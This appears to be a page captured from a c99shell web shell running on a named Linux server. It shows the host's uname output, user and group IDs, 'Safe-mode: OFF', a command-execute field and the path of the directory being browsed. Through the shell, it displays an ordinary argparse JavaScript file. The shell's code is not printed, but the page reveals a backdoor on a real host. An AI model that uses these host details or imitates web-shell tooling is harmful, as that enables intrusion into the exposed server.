Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/inventory.picotech.app/public_html/node_modules/argparse/lib/action/append/ drwxr-xr-x |
Viewing file: Select action/file-type: /*:nodoc:* * class ActionAppendConstant * * This stores a list, and appends the value specified by * the const keyword argument to the list. * (Note that the const keyword argument defaults to null.) * The 'appendConst' action is typically useful when multiple * arguments need to store constants to the same list. * * This class inherited from [[Action]] **/ 'use strict'; var util = require('util'); var Action = require('../../action'); /*:nodoc:* * new ActionAppendConstant(options) * - options (object): options hash see [[Action.new]] * **/ var ActionAppendConstant = module.exports = function ActionAppendConstant(options) { options = options || {}; options.nargs = 0; if (typeof options.constant === 'undefined') { throw new Error('constant option is required for appendAction'); } Action.call(this, options); }; util.inherits(ActionAppendConstant, Action); /*:nodoc:* * ActionAppendConstant#call(parser, namespace, values, optionString) -> Void * - parser (ArgumentParser): current parser * - namespace (Namespace): namespace for output data * - values (Array): parsed values * - optionString (Array): input option string(not parsed) * * Call the action. Save result in namespace object **/ ActionAppendConstant.prototype.call = function (parser, namespace) { var items = [].concat(namespace[this.dest] || []); items.push(this.constant); namespace.set(this.dest, items); }; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0068 ]-- |